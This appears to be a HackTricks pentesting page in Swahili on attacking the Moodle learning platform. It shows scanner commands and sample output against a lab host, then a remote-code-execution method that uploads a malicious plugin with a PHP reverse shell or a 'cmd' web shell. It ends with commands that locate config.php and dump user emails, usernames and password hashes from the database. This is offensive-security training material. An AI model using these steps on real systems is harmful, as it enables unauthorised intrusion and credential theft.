Moodle

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Support HackTricks

Angalia mpango wa usajili!
Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

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Nasaha za bug bounty: jiandikishe kwa Intigriti, jukwaa la bug bounty la premium lililotengenezwa na hackers, kwa hackers! Jiunge nasi kwenye https://go.intigriti.com/hacktricks leo, na anza kupata zawadi hadi $100,000!

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Automatic Scans

droopescan

pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/

[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php

[+] No themes found.

[+] Possible version(s):
3.10.0-beta

[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/

[+] Scan finished (0:00:05.643539 elapsed)

moodlescan

#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/

Version 0.7 - Dic/2020
.............................................................................................................

By Victor Herrera - supported by www.incode.cl

.............................................................................................................

Getting server information http://moodle.schooled.htb/moodle/ ...

server         	: Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by   	: PHP/7.4.15
x-frame-options	: sameorigin
last-modified  	: Wed, 07 Apr 2021 21:33:41 GMT

Getting moodle version...

Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta

Searching vulnerabilities...


Vulnerabilities found: 0

Scan completed.

CMSMap

pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>

CVEs

Nimegundua kwamba zana za kiotomatiki ni zisizo na maana katika kutafuta udhaifu unaoathiri toleo la moodle. Unaweza kuangalia kwao katika https://snyk.io/vuln/composer:moodle%2Fmoodle

RCE

Unahitaji kuwa na meneja nafasi na unaweza kusanidi plugins ndani ya "Usimamizi wa tovuti" tab**:**

Ikiwa wewe ni meneja bado unaweza kuhitaji kuamsha chaguo hili. Unaweza kuona jinsi katika moodle privilege escalation PoC: https://github.com/HoangKien1020/CVE-2020-14321.

Kisha, unaweza kusanidi plugin ifuatayo ambayo ina classic pentest-monkey php rev shell (kabla ya kuipakia unahitaji kuifungua, kubadilisha IP na bandari ya revshell na kuikandamiza tena)

{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}

Au unaweza kutumia plugin kutoka https://github.com/HoangKien1020/Moodle_RCE kupata shell ya kawaida ya PHP na parameter "cmd".

Ili kufikia uzinduzi wa plugin mbaya unahitaji kufikia:

http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id

POST

Pata akreditif za database

find / -name "config.php" 2>/dev/null | grep "moodle/config.php"

Pata Akikodi kutoka kwenye database

/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"

Nasaha ya bug bounty: jiandikishe kwa Intigriti, jukwaa la bug bounty la kiwango cha juu lililotengenezwa na hackers, kwa hackers! Jiunge nasi kwenye https://go.intigriti.com/hacktricks leo, na uanze kupata zawadi hadi $100,000!

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